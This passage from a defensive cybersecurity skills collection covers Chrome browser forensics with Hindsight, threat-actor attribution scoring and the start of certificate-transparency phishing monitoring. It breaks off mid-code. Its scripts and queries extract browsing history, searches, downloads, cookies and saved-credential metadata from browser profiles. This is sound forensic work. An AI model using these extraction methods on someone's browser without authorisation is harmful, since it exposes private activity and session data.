profile directory\n# Configure output format and analysis options\n# Generate and download report\n```\n\n## Artifact Analysis Details\n\n### URL History and Visits\n\n```sql\n-- Chrome History database schema (key tables)\n-- urls table: id, url, title, visit_count, typed_count, last_visit_time\n-- visits table: id, url, visit_time, from_visit, transition, segment_id\n\n-- Timestamps are Chrome/WebKit format: microseconds since 1601-01-01\n-- Convert: datetime((visit_time/1000000)-11644473600, 'unixepoch')\n```\n\n### Download History\n\n```sql\n-- downloads table: id, current_path, target_path, start_time, end_time,\n--   received_bytes, total_bytes, state, danger_type, interrupt_reason,\n--   url, referrer, tab_url, mime_type, original_mime_type\n```\n\n### Cookie Analysis\n\n```sql\n-- cookies table: creation_utc, host_key, name, value, encrypted_value,\n--   path, expires_utc, is_secure, is_httponly, last_access_utc,\n--   has_expires, is_persistent, priority, samesite\n```\n\n## Python Analysis Script\n\n```python\nimport sqlite3\nimport os\nimport json\nimport sys\nfrom datetime import datetime, timedelta\n\n\nCHROME_EPOCH = datetime(1601, 1, 1)\n\n\ndef chrome_time_to_datetime(chrome_ts: int):\n    \"\"\"Convert Chrome timestamp to datetime.\"\"\"\n    if chrome_ts == 0:\n        return None\n    try:\n        return CHROME_EPOCH + timedelta(microseconds=chrome_ts)\n    except (OverflowError, OSError):\n        return None\n\n\ndef analyze_chrome_history(profile_path: str, output_dir: str) -> dict:\n    \"\"\"Analyze Chrome History database for forensic evidence.\"\"\"\n    history_db = os.path.join(profile_path, \"History\")\n    if not os.path.exists(history_db):\n        return {\"error\": \"History database not found\"}\n\n    os.makedirs(output_dir, exist_ok=True)\n    conn = sqlite3.connect(f\"file:{history_db}?mode=ro\", uri=True)\n\n    # URL visits with timestamps\n    cursor = conn.cursor()\n    cursor.execute(\"\"\"\n        SELECT u.url, u.title, v.visit_time, u.visit_count,\n               v.transition & 0xFF as transition_type\n        FROM visits v JOIN urls u ON v.url = u.id\n        ORDER BY v.visit_time DESC LIMIT 5000\n    \"\"\")\n    visits = [{\n        \"url\": r[0], \"title\": r[1],\n        \"visit_time\": str(chrome_time_to_datetime(r[2])),\n        \"total_visits\": r[3], \"transition\": r[4]\n    } for r in cursor.fetchall()]\n\n    # Downloads\n    cursor.execute(\"\"\"\n        SELECT target_path, tab_url, start_time, end_time,\n               received_bytes, total_bytes, mime_type, state\n        FROM downloads ORDER BY start_time DESC LIMIT 1000\n    \"\"\")\n    downloads = [{\n        \"path\": r[0], \"source_url\": r[1],\n        \"start_time\": str(chrome_time_to_datetime(r[2])),\n        \"end_time\": str(chrome_time_to_datetime(r[3])),\n        \"received_bytes\": r[4], \"total_bytes\": r[5],\n        \"mime_type\": r[6], \"state\": r[7]\n    } for r in cursor.fetchall()]\n\n    # Keyword searches\n    cursor.execute(\"\"\"\n        SELECT k.term, u.url, k.url_id\n        FROM keyword_search_terms k JOIN urls u ON k.url_id = u.id\n        ORDER BY u.last_visit_time DESC LIMIT 1000\n    \"\"\")\n    searches = [{\"term\": r[0], \"url\": r[1]} for r in cursor.fetchall()]\n\n    conn.close()\n\n    report = {\n        \"analysis_timestamp\": datetime.now().isoformat(),\n        \"profile_path\": profile_path,\n        \"total_visits\": len(visits),\n        \"total_downloads\": len(downloads),\n        \"total_searches\": len(searches),\n        \"visits\": visits,\n        \"downloads\": downloads,\n        \"searches\": searches\n    }\n\n    report_path = os.path.join(output_dir, \"browser_forensics.json\")\n    with open(report_path, \"w\") as f:\n        json.dump(report, f, indent=2)\n\n    return report\n\n\ndef main():\n    if len(sys.argv) < 3:\n        print(\"Usage: python process.py <chrome_profile_path> <output_dir>\")\n        sys.exit(1)\n    analyze_chrome_history(sys.argv[1], sys.argv[2])\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- Hindsight GitHub: https://github.com/obsidianforensics/hindsight\n- Chrome Forensics Guide: https://allenace.medium.com/hindsight-chrome-forensics-made-simple-425db99fa5ed\n- Browser Forensics Tools: https://www.cyberforensicacademy.com/blog/browser-forensics-tools-how-to-extract-user-activity\n- Chromium Source (History): https://source.chromium.org/chromium/chromium/src/+/main:components/history/\n\n## Example Output\n\n```text\n$ python hindsight.py -i /evidence/chrome-profile -o /analysis/hindsight_output\n\nHindsight v2024.01 - Chrome/Chromium Browser Forensic Analysis\n================================================================\n\nProfile: /evidence/chrome-profile (Chrome 120.0.6099.130)\nOS: Windows 10\n\n[+] Parsing History database...\n    URL records:          12,456\n    Download records:     234\n    Search terms:         567\n\n[+] Parsing Cookies database...\n    Cookie records:       8,923\n    Encrypted cookies:    6,712\n\n[+] Parsing Web Data (Autofill)...\n    Autofill entries:     1,234\n    Credit card entries:  2 (encrypted)\n\n[+] Parsing Login Data...\n    Saved credentials:    45 (encrypted)\n\n[+] Parsing Bookmarks...\n    Bookmark entries:     189\n\n--- Browsing History (Last 10 Entries) ---\nTimestamp (UTC)          | URL                                          | Title                        | Visit Count\n2024-01-15 14:32:05.123  | https://mail.corporate.com/inbox             | Corporate Mail                | 45\n2024-01-15 14:33:12.456  | https://drive.google.com/file/d/1aBcDe...    | Q4_Financial_Report.xlsx     | 1\n2024-01-15 14:35:44.789  | https://mega.nz/folder/xYz123               | MEGA - Secure Cloud          | 3\n2024-01-15 14:36:01.234  | https://mega.nz/folder/xYz123#upload        | MEGA - Upload                | 8\n2024-01-15 14:42:15.567  | https://pastebin.com/raw/kL9mN2pQ           | Pastebin (raw)               | 1\n2024-01-15 15:01:33.890  | https://192.168.1.50:8443/admin              | Admin Panel                  | 12\n2024-01-15 15:15:22.111  | https://transfer.sh/upload                  | transfer.sh                  | 2\n2024-01-15 15:30:45.222  | https://vpn-gateway.corporate.com            | VPN Login                    | 5\n2024-01-15 16:00:00.333  | https://whatismyipaddress.com                 | What Is My IP                | 1\n2024-01-15 16:05:12.444  | https://protonmail.com/inbox                 | ProtonMail                   | 3\n\n--- Downloads (Suspicious) ---\nTimestamp (UTC)          | Filename                    | URL Source                               | Size\n2024-01-15 14:33:15.000  | Q4_Financial_Report.xlsm   | https://phish-domain.com/docs/report     | 245 KB\n2024-01-15 14:34:02.000  | update_client.exe          | https://cdn.evil-updates.com/client.exe  | 1.2 MB\n\n--- Cookies (Session Tokens) ---\nDomain                   | Name              | Expires            | Secure | HttpOnly\n.corporate.com           | SESSION_ID        | 2024-01-16 14:32   | Yes    | Yes\n.mega.nz                 | session           | Session            | Yes    | Yes\n.protonmail.com          | AUTH-TOKEN        | 2024-02-15 00:00   | Yes    | Yes\n\nReport saved to: /analysis/hindsight_output/Hindsight_Report.xlsx\n```\n","skills/analyzing-browser-forensics-with-hindsight/assets/template.md":"# Browser Forensics Report\n## Case Info\n| Field | Value |\n|-------|-------|\n| Case Number | |\n| Browser | |\n| Profile Path | |\n## Activity Summary\n| Metric | Count |\n|--------|-------|\n| URL Visits | |\n| Downloads | |\n| Saved Passwords | |\n| Cookies | |\n## Notable URLs\n| Timestamp | URL | Title |\n|-----------|-----|-------|\n| | | |\n## Downloads\n| Timestamp | File | Source URL | Size |\n|-----------|------|-----------|------|\n| | | | |\n","skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md":"# API Reference: Browser Forensics with Hindsight\n\n## Hindsight CLI\n\n### Syntax\n```bash\nhindsight.py -i <profile_path>                  # Analyze Chrome profile\nhindsight.py -i <path> -o <output_dir>          # Save results\nhindsight.py -i <path> -f xlsx                  # Export as Excel\nhindsight.py -i <path> -f sqlite                # Export as SQLite\nhindsight.py -i <path> -b <browser_type>        # Specify browser type\n```\n\n### Browser Types\n| Flag | Browser |\n|------|---------|\n| `Chrome` | Google Chrome |\n| `Edge` | Microsoft Edge (Chromium) |\n| `Brave` | Brave Browser |\n| `Opera` | Opera (Chromium) |\n\n### Output Artifacts\n| Table | Description |\n|-------|-------------|\n| `urls` | Browsing history with visit counts |\n| `downloads` | File downloads with source URLs |\n| `cookies` | Cookie values, domains, expiry |\n| `autofill` | Form autofill entries |\n| `bookmarks` | Saved bookmarks |\n| `preferences` | Browser configuration |\n| `local_storage` | Site local storage data |\n| `login_data` | Saved credential metadata |\n| `extensions` | Installed extensions with permissions |\n\n## Chrome SQLite Databases\n\n### History Database\n```sql\n-- Browsing history\nSELECT u.url, u.title, v.visit_time, v.transition\nFROM visits v JOIN urls u ON v.url = u.id\nORDER BY v.visit_time DESC;\n\n-- Downloads\nSELECT target_path, tab_url, total_bytes, start_time, danger_type, mime_type\nFROM downloads ORDER BY start_time DESC;\n```\n\n### Cookies Database\n```sql\nSELECT host_key, name, value, creation_utc, expires_utc, is_secure, is_httponly\nFROM cookies ORDER BY creation_utc DESC;\n```\n\n### Web Data Database (Autofill)\n```sql\nSELECT name, value, count, date_created, date_last_used\nFROM autofill ORDER BY date_last_used DESC;\n```\n\n## Chrome Timestamp Conversion\n\n### Format\nMicroseconds since January 1, 1601 (Windows FILETIME base)\n\n### Python Conversion\n```python\nimport datetime\ndef chrome_to_datetime(chrome_time):\n    epoch = datetime.datetime(1601, 1, 1)\n    return epoch + datetime.timedelta(microseconds=chrome_time)\n```\n\n## Browser Profile Paths\n\n| OS | Browser | Default Path |\n|----|---------|-------------|\n| Windows | Chrome | `%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default` |\n| Windows | Edge | `%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default` |\n| Linux | Chrome | `~/.config/google-chrome/Default` |\n| macOS | Chrome | `~/Library/Application Support/Google/Chrome/Default` |\n\n## Transition Types (visit_transition & 0xFF)\n| Value | Type | Description |\n|-------|------|-------------|\n| 0 | LINK | Clicked a link |\n| 1 | TYPED | Typed URL in address bar |\n| 2 | AUTO_BOOKMARK | Via bookmark |\n| 3 | AUTO_SUBFRAME | Subframe navigation |\n| 5 | GENERATED | Generated (e.g., search) |\n| 7 | FORM_SUBMIT | Form submission |\n| 8 | RELOAD | Page reload |\n","skills/analyzing-browser-forensics-with-hindsight/references/standards.md":"# Standards - Browser Forensics with Hindsight\n## Tools\n- Hindsight: https://github.com/obsidianforensics/hindsight\n- DB Browser for SQLite: Chrome database inspection\n- ChromeCacheView (NirSoft): Cache analysis\n## Browser Databases\n- History: URL visits, downloads, keyword searches\n- Cookies: HTTP cookies per domain\n- Web Data: Autofill, credit cards\n- Login Data: Saved credentials (encrypted)\n- Bookmarks: JSON bookmark tree\n## Timestamp Formats\n- Chrome/WebKit: microseconds since 1601-01-01 UTC\n- Firefox/Mozilla: microseconds since Unix epoch\n- Safari/Mac: seconds since 2001-01-01 UTC\n","skills/analyzing-browser-forensics-with-hindsight/references/workflows.md":"# Workflows - Browser Forensics\n## Workflow: Chrome Profile Analysis\n```\nLocate browser profile directory\n    |\nRun Hindsight against profile path\n    |\nReview generated timeline (XLSX/JSON)\n    |\nAnalyze URL history for suspicious sites\n    |\nCheck downloads for malware/exfiltrated data\n    |\nReview cookies for session hijacking evidence\n    |\nExamine autofill and saved credentials\n    |\nCorrelate browser activity with system timeline\n```\n","skills/analyzing-campaign-attribution-evidence/SKILL.md":"---\nname: analyzing-campaign-attribution-evidence\ndescription: Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- threat-intelligence\n- cti\n- ioc\n- mitre-attack\n- stix\n- attribution\n- campaign-analysis\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1587.001\n- T1583.001\n- T1588.002\n- T1071.001\n---\n# Analyzing Campaign Attribution Evidence\n\n## Overview\n\nCampaign attribution analysis involves systematically evaluating evidence to determine which threat actor or group is responsible for a cyber operation. This skill covers collecting and weighting attribution indicators using the Diamond Model and ACH (Analysis of Competing Hypotheses), analyzing infrastructure overlaps, TTP consistency, malware code similarities, operational timing patterns, and language artifacts to build confidence-weighted attribution assessments.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing campaign attribution evidence\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `attackcti`, `stix2`, `networkx` libraries\n- Access to threat intelligence platforms (MISP, OpenCTI)\n- Understanding of Diamond Model of Intrusion Analysis\n- Familiarity with MITRE ATT&CK threat group profiles\n- Knowledge of malware analysis and infrastructure tracking techniques\n\n## Key Concepts\n\n### Attribution Evidence Categories\n1. **Infrastructure Overlap**: Shared C2 servers, domains, IP ranges, hosting providers\n2. **TTP Consistency**: Matching ATT&CK techniques and sub-techniques across campaigns\n3. **Malware Code Similarity**: Shared code bases, compilers, PDB paths, encryption routines\n4. **Operational Patterns**: Timing (working hours, time zones), targeting patterns, operational tempo\n5. **Language Artifacts**: Embedded strings, variable names, error messages in specific languages\n6. **Victimology**: Target sector, geography, and organizational profile consistency\n\n### Confidence Levels\n- **High Confidence**: Multiple independent evidence categories converge on same actor\n- **Moderate Confidence**: Several evidence categories match, some ambiguity remains\n- **Low Confidence**: Limited evidence, possible false flags or shared tooling\n\n### Analysis of Competing Hypotheses (ACH)\nStructured analytical method that evaluates evidence against multiple competing hypotheses. Each piece of evidence is scored as consistent, inconsistent, or neutral with respect to each hypothesis. The hypothesis with the least inconsistent evidence is favored.\n\n## Workflow\n\n### Step 1: Collect Attribution Evidence\n\n```python\nfrom stix2 import MemoryStore, Filter\nfrom collections import defaultdict\n\nclass AttributionAnalyzer:\n    def __init__(self):\n        self.evidence = []\n        self.hypotheses = {}\n\n    def add_evidence(self, category, description, value, confidence):\n        self.evidence.append({\n            \"category\": category,\n            \"description\": description,\n            \"value\": value,\n            \"confidence\": confidence,\n            \"timestamp\": None,\n        })\n\n    def add_hypothesis(self, actor_name, actor_id=\"\"):\n        self.hypotheses[actor_name] = {\n            \"actor_id\": actor_id,\n            \"consistent_evidence\": [],\n            \"inconsistent_evidence\": [],\n            \"neutral_evidence\": [],\n            \"score\": 0,\n        }\n\n    def evaluate_evidence(self, evidence_idx, actor_name, assessment):\n        \"\"\"Assess evidence against a hypothesis: consistent/inconsistent/neutral.\"\"\"\n        if assessment == \"consistent\":\n            self.hypotheses[actor_name][\"consistent_evidence\"].append(evidence_idx)\n            self.hypotheses[actor_name][\"score\"] += self.evidence[evidence_idx][\"confidence\"]\n        elif assessment == \"inconsistent\":\n            self.hypotheses[actor_name][\"inconsistent_evidence\"].append(evidence_idx)\n            self.hypotheses[actor_name][\"score\"] -= self.evidence[evidence_idx][\"confidence\"] * 2\n        else:\n            self.hypotheses[actor_name][\"neutral_evidence\"].append(evidence_idx)\n\n    def rank_hypotheses(self):\n        \"\"\"Rank hypotheses by attribution score.\"\"\"\n        ranked = sorted(\n            self.hypotheses.items(),\n            key=lambda x: x[1][\"score\"],\n            reverse=True,\n        )\n        return [\n            {\n                \"actor\": name,\n                \"score\": data[\"score\"],\n                \"consistent\": len(data[\"consistent_evidence\"]),\n                \"inconsistent\": len(data[\"inconsistent_evidence\"]),\n                \"confidence\": self._score_to_confidence(data[\"score\"]),\n            }\n            for name, data in ranked\n        ]\n\n    def _score_to_confidence(self, score):\n        if score >= 80:\n            return \"HIGH\"\n        elif score >= 40:\n            return \"MODERATE\"\n        else:\n            return \"LOW\"\n```\n\n### Step 2: Infrastructure Overlap Analysis\n\n```python\ndef analyze_infrastructure_overlap(campaign_a_infra, campaign_b_infra):\n    \"\"\"Compare infrastructure between two campaigns for attribution.\"\"\"\n    overlap = {\n        \"shared_ips\": set(campaign_a_infra.get(\"ips\", [])).intersection(\n            campaign_b_infra.get(\"ips\", [])\n        ),\n        \"shared_domains\": set(campaign_a_infra.get(\"domains\", [])).intersection(\n            campaign_b_infra.get(\"domains\", [])\n        ),\n        \"shared_asns\": set(campaign_a_infra.get(\"asns\", [])).intersection(\n            campaign_b_infra.get(\"asns\", [])\n        ),\n        \"shared_registrars\": set(campaign_a_infra.get(\"registrars\", [])).intersection(\n            campaign_b_infra.get(\"registrars\", [])\n        ),\n    }\n\n    overlap_score = 0\n    if overlap[\"shared_ips\"]:\n        overlap_score += 30\n    if overlap[\"shared_domains\"]:\n        overlap_score += 25\n    if overlap[\"shared_asns\"]:\n        overlap_score += 15\n    if overlap[\"shared_registrars\"]:\n        overlap_score += 10\n\n    return {\n        \"overlap\": {k: list(v) for k, v in overlap.items()},\n        \"overlap_score\": overlap_score,\n        \"assessment\": \"STRONG\" if overlap_score >= 40 else \"MODERATE\" if overlap_score >= 20 else \"WEAK\",\n    }\n```\n\n### Step 3: TTP Comparison Across Campaigns\n\n```python\nfrom attackcti import attack_client\n\ndef compare_campaign_ttps(campaign_techniques, known_actor_techniques):\n    \"\"\"Compare campaign TTPs against known threat actor profiles.\"\"\"\n    campaign_set = set(campaign_techniques)\n    actor_set = set(known_actor_techniques)\n\n    common = campaign_set.intersection(actor_set)\n    unique_campaign = campaign_set - actor_set\n    unique_actor = actor_set - campaign_set\n\n    jaccard = len(common) / len(campaign_set.union(actor_set)) if campaign_set.union(actor_set) else 0\n\n    return {\n        \"common_techniques\": sorted(common),\n        \"common_count\": len(common),\n        \"unique_to_campaign\": sorted(unique_campaign),\n        \"unique_to_actor\": sorted(unique_actor),\n        \"jaccard_similarity\": round(jaccard, 3),\n        \"overlap_percentage\": round(len(common) / len(campaign_set) * 100, 1) if campaign_set else 0,\n    }\n```\n\n### Step 4: Generate Attribution Report\n\n```python\ndef generate_attribution_report(analyzer):\n    \"\"\"Generate structured attribution assessment report.\"\"\"\n    rankings = analyzer.rank_hypotheses()\n\n    report = {\n        \"assessment_date\": \"2026-02-23\",\n        \"total_evidence_items\": len(analyzer.evidence),\n        \"hypotheses_evaluated\": len(analyzer.hypotheses),\n        \"rankings\": rankings,\n        \"primary_attribution\": rankings[0] if rankings else None,\n        \"evidence_summary\": [\n            {\n                \"index\": i,\n                \"category\": e[\"category\"],\n                \"description\": e[\"description\"],\n                \"confidence\": e[\"confidence\"],\n            }\n            for i, e in enumerate(analyzer.evidence)\n        ],\n    }\n\n    return report\n```\n\n## Validation Criteria\n\n- Evidence collection covers all six attribution categories\n- ACH matrix properly evaluates evidence against competing hypotheses\n- Infrastructure overlap analysis identifies shared indicators\n- TTP comparison uses ATT&CK technique IDs for precision\n- Attribution confidence levels are properly justified\n- Report includes alternative hypotheses and false flag considerations\n\n## References\n\n- [Diamond Model of Intrusion Analysis](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)\n- [MITRE ATT&CK Groups](https://attack.mitre.org/groups/)\n- [Analysis of Competing Hypotheses](https://www.cia.gov/static/9a5f1162fd0932c29e985f0159f56c07/Tradecraft-Primer-apr09.pdf)\n- [Threat Attribution Framework](https://www.mandiant.com/resources/reports)\n","skills/analyzing-campaign-attribution-evidence/assets/template.md":"# Campaign Attribution Analysis Report Template\n\n## Report Metadata\n| Field | Value |\n|-------|-------|\n| Report ID | CTI-YYYY-NNNN |\n| Date | YYYY-MM-DD |\n| Classification | TLP:AMBER |\n| Analyst | [Name] |\n| Confidence | High/Moderate/Low |\n\n## Executive Summary\n[Brief overview of key findings and their significance]\n\n## Key Findings\n1. [Finding 1 with supporting evidence]\n2. [Finding 2 with supporting evidence]\n3. [Finding 3 with supporting evidence]\n\n## Detailed Analysis\n### Finding 1\n- **Evidence**: [Description of evidence]\n- **Confidence**: High/Moderate/Low\n- **MITRE ATT&CK**: [Relevant technique IDs]\n- **Impact Assessment**: [Potential impact to organization]\n\n## Indicators of Compromise\n| Type | Value | Context | Confidence |\n|------|-------|---------|-----------|\n| | | | |\n\n## Recommendations\n1. **Immediate**: [Actions requiring immediate attention]\n2. **Short-term**: [Actions within 1-2 weeks]\n3. **Long-term**: [Strategic improvements]\n\n## References\n- [Source 1]\n- [Source 2]\n","skills/analyzing-campaign-attribution-evidence/references/api-reference.md":"# API Reference: Campaign Attribution Evidence Analysis\n\n## Diamond Model of Intrusion Analysis\n\n### Four Core Features\n| Feature | Description | Attribution Value |\n|---------|-------------|-------------------|\n| Adversary | Threat actor identity | Direct attribution |\n| Capability | Malware, exploits, tools | Indirect - shared tooling |\n| Infrastructure | C2, domains, IPs | Strong - operational overlap |\n| Victim | Targets, sectors, regions | Contextual - targeting pattern |\n\n### Pivot Analysis\n```\nAdversary ←→ Capability ←→ Infrastructure ←→ Victim\n    ↕              ↕              ↕              ↕\n  (HUMINT)     (Malware DB)   (WHOIS/DNS)   (Victimology)\n```\n\n## Analysis of Competing Hypotheses (ACH)\n\n### Matrix Format\n```\nEvidence \\ Hypothesis  |  APT28  |  APT29  |  Lazarus  |  Unknown\n-----------------------------------------------------------------\nInfrastructure overlap  |   ++    |    -    |     -     |    N\nTTP consistency        |   ++    |   ++    |     -     |    N\nMalware similarity     |    +    |    -    |     -     |    N\nTiming (UTC+3)         |   ++    |   ++    |     -     |    N\nLanguage (Russian)     |   ++    |   ++    |     -     |    N\n```\n\n### Scoring\n| Symbol | Meaning | Weight |\n|--------|---------|--------|\n| `++` | Strongly consistent | +2 |\n| `+` | Consistent | +1 |\n| `N` | Neutral | 0 |\n| `-` | Inconsistent | -1 |\n| `--` | Strongly inconsistent | -2 |\n\n## MITRE ATT&CK Group Queries\n\n### Python (mitreattack-python)\n```python\nfrom mitreattack.stix20 import MitreAttackData\nattack = MitreAttackData(\"enterprise-attack.json\")\ngroup = attack.get_group_by_alias(\"APT29\")\ntechniques = attack.get_techniques_used_by_group(group.id)\n```\n\n### STIX2 Relationship Query\n```python\nfrom stix2 import Filter\nrelationships = src.query([\n    Filter(\"type\", \"=\", \"relationship\"),\n    Filter(\"source_ref\", \"=\", group_id),\n    Filter(\"relationship_type\", \"=\", \"uses\"),\n])\n```\n\n## Infrastructure Overlap Tools\n\n### PassiveTotal / RiskIQ\n```bash\n# WHOIS history\ncurl -u user:key \"https://api.passivetotal.org/v2/whois?query=domain.com\"\n\n# Passive DNS\ncurl -u user:key \"https://api.passivetotal.org/v2/dns/passive?query=1.2.3.4\"\n```\n\n### VirusTotal Relations\n```bash\ncurl -H \"x-apikey: KEY\" \\\n  \"https://www.virustotal.com/api/v3/domains/example.com/communicating_files\"\n```\n\n## Confidence Assessment Framework\n\n| Level | Score Range | Criteria |\n|-------|------------|---------|\n| HIGH | 0.8-1.0 | Multiple independent evidence types converge |\n| MEDIUM | 0.5-0.8 | Significant evidence with some gaps |\n| LOW | 0.2-0.5 | Limited evidence, alternative hypotheses remain |\n| NEGLIGIBLE | 0.0-0.2 | Insufficient evidence for attribution |\n\n## STIX Attribution Objects\n\n### Campaign Object\n```json\n{\n  \"type\": \"campaign\",\n  \"name\": \"Operation DarkShadow\",\n  \"first_seen\": \"2024-01-15T00:00:00Z\",\n  \"last_seen\": \"2024-03-20T00:00:00Z\",\n  \"objective\": \"Espionage targeting defense sector\"\n}\n```\n\n### Attribution Relationship\n```json\n{\n  \"type\": \"relationship\",\n  \"relationship_type\": \"attributed-to\",\n  \"source_ref\": \"campaign--abc123\",\n  \"target_ref\": \"intrusion-set--def456\",\n  \"confidence\": 75\n}\n```\n","skills/analyzing-campaign-attribution-evidence/references/standards.md":"# Standards and Frameworks Reference\n\n## Applicable Standards\n- **STIX 2.1**: Structured Threat Information eXpression for CTI data representation\n- **TAXII 2.1**: Transport protocol for sharing CTI over HTTPS\n- **MITRE ATT&CK**: Adversary tactics, techniques, and procedures taxonomy\n- **Diamond Model**: Intrusion analysis framework (Adversary, Capability, Infrastructure, Victim)\n- **Traffic Light Protocol (TLP)**: Information sharing classification (CLEAR, GREEN, AMBER, RED)\n\n## MITRE ATT&CK Relevance\n- Technique mapping for threat actor behavior classification\n- Data sources for detection capability assessment\n- Mitigation strategies linked to specific techniques\n\n## Industry Frameworks\n- NIST Cybersecurity Framework (CSF) 2.0 - Identify function\n- ISO 27001:2022 - A.5.7 Threat Intelligence\n- FIRST Standards - TLP, CSIRT, vulnerability coordination\n\n## References\n- [STIX 2.1 Specification](https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html)\n- [MITRE ATT&CK](https://attack.mitre.org/)\n- [Diamond Model Paper](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)\n- [NIST CSF 2.0](https://www.nist.gov/cyberframework)\n","skills/analyzing-campaign-attribution-evidence/references/workflows.md":"# Campaign Attribution Analysis Workflows\n\n## Workflow 1: Collection and Analysis\n```\n[Intelligence Sources] --> [Data Collection] --> [Analysis] --> [Reporting]\n        |                        |                   |               |\n        v                        v                   v               v\n  OSINT/HUMINT/SIGINT    Normalize/Enrich    Assess/Correlate  Disseminate\n```\n\n### Steps:\n1. **Planning**: Define intelligence requirements and collection priorities\n2. **Collection**: Gather data from relevant sources\n3. **Processing**: Normalize data formats and filter noise\n4. **Analysis**: Apply analytical frameworks and correlate findings\n5. **Production**: Generate intelligence products and reports\n6. **Dissemination**: Share with stakeholders via appropriate channels\n7. **Feedback**: Collect consumer feedback to refine future collection\n\n## Workflow 2: Continuous Monitoring\n```\n[Watchlist] --> [Automated Monitoring] --> [Change Detection] --> [Alert/Update]\n```\n\n### Steps:\n1. **Define Watchlist**: Identify indicators, actors, and topics to monitor\n2. **Configure Monitoring**: Set up automated collection from relevant sources\n3. **Change Detection**: Identify new or changed intelligence\n4. **Assessment**: Evaluate significance of changes\n5. **Alerting**: Notify stakeholders of significant intelligence updates\n6. **Archive**: Store intelligence for historical analysis and trending\n","skills/analyzing-certificate-transparency-for-phishing/SKILL.md":"---\nname: analyzing-certificate-transparency-for-phishing\ndescription: Monitor Certificate Transparency logs using crt.sh and Certstream to\n  detect phishing domains, lookalike certificates, and unauthorized certificate issuance\n  targeting your organization.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- certificate-transparency\n- ct-logs\n- phishing\n- crt-sh\n- certstream\n- ssl\n- domain-monitoring\n- threat-intelligence\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0052\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1583.001\n- T1583.004\n- T1566.002\n- T1608.005\n- T1596.003\nmitre_f3:\n  version: '1.1'\n  tactics:\n  - resource-development\n  - reconnaissance\n  - initial-access\n  techniques:\n  - id: T1583.001\n    name: 'Acquire Infrastructure: Domains'\n    tactic: resource-development\n    source: attack\n  - id: F1020.002\n    name: 'Create Fake Materials: Fake Website'\n    tactic: resource-development\n    source: f3\n  - id: T1593\n    name: Search Open Websites/Domains\n    tactic: reconnaissance\n    source: attack\n  - id: T1598\n    name: Phishing for Information\n    tactic: reconnaissance\n    source: attack\n  - id: T1660\n    name: Phishing\n    tactic: initial-access\n    source: attack\n---\n# Analyzing Certificate Transparency for Phishing\n\n## Overview\n\nCertificate Transparency (CT) is an Internet security standard that creates a public, append-only log of all issued SSL/TLS certificates. Monitoring CT logs enables early detection of phishing domains that register certificates mimicking legitimate brands, unauthorized certificate issuance for owned domains, and certificate-based attack infrastructure. This skill covers querying CT logs via crt.sh, real-time monitoring with Certstream, building automated alerting for suspicious certificates, and integrating findings into threat intelligence workflows.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing certificate transparency for phishing\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `requests`, `certstream`, `tldextract`, `Levenshtein` libraries\n- Access to crt.sh (https://crt.sh/) for historical CT log queries\n- Certstream (https://certstream.calidog.io/) for real-time monitoring\n- List of organization domains and brand keywords to monitor\n- Understanding of SSL/TLS certificate structure and issuance process\n\n## Key Concepts\n\n### Certificate Transparency Logs\n\nCT logs are cryptographically assured, publicly auditable, append-only records of TLS certificate issuance. Major CAs (Let's Encrypt, DigiCert, Sectigo, Google Trust Services) submit all issued certificates to multiple CT logs. As of 2025, Chrome and Safari require CT for all publicly trusted certificates.\n\n### Phishing Detection via CT\n\nAttackers register lookalike domains and obtain free certificates (often from Let's Encrypt) to make phishing sites appear legitimate with HTTPS. CT monitoring detects these early because the certificate appears in logs before the phishing campaign launches, providing a window for proactive blocking.\n\n### crt.sh Database\n\ncrt.sh is a free web interface and PostgreSQL database operated by Sectigo that indexes CT logs. It supports wildcard searches (`%.example.com`), direct SQL queries, and JSON API responses. It tracks certificate issuance, expiration, and revocation across all major CT logs.\n\n## Workflow\n\n### Step 1: Query crt.sh for Certificate History\n\n```python\nimport requests\nimport json\nfrom datetime import datetime\nimport tldextract\n\nclass CTLogMonitor:\n    CRT_SH_URL = \"https://crt.sh\"\n\n    def __init__(self, monitored_domains, brand_keywords):\n        self.monitored_domains = monitored_domains\n        self.brand_keywords = [k.lower() for k in brand_keywords]\n\n    def query_crt_sh(self, domain, include_expired=False):\n        \"\"\"Query crt.sh for certificates matching a domain.\"\"\"\n        params = {\n            \"q\": f\"%.{domain}\",\n            \"output\": \"json\",\n        }\n        if not include_expired:\n            params[\"exclude\"] = \"expired\"\n\n        resp = requests.get(self.CRT_SH_URL, params=params, timeout=30)\n        if resp.status_code == 200:\n            certs = resp.json()\n            print(f\"[+] crt.sh: {len(certs)} certificates for *.{domain}\")\n            return certs\n        return []\n\n    def find_suspicious_certs(self, domain):\n        \"\"\"Find certificates that may be phishing attempts.\"\"\"\n        certs = self.query_crt_sh(domain)\n        suspicious = []\n\n        for cert in certs:\n            common_name = cert.get(\"common_name\", \"\").lower()\n            name_value = cert.get(\"name_value\", \"\").lower()\n            issuer = cert.get(\"issuer_name\", \"\")\n            not_before = cert.get(\"not_before\", \"\")\n            not_after = cert.get(\"not_after\", \"\")\n\n            # 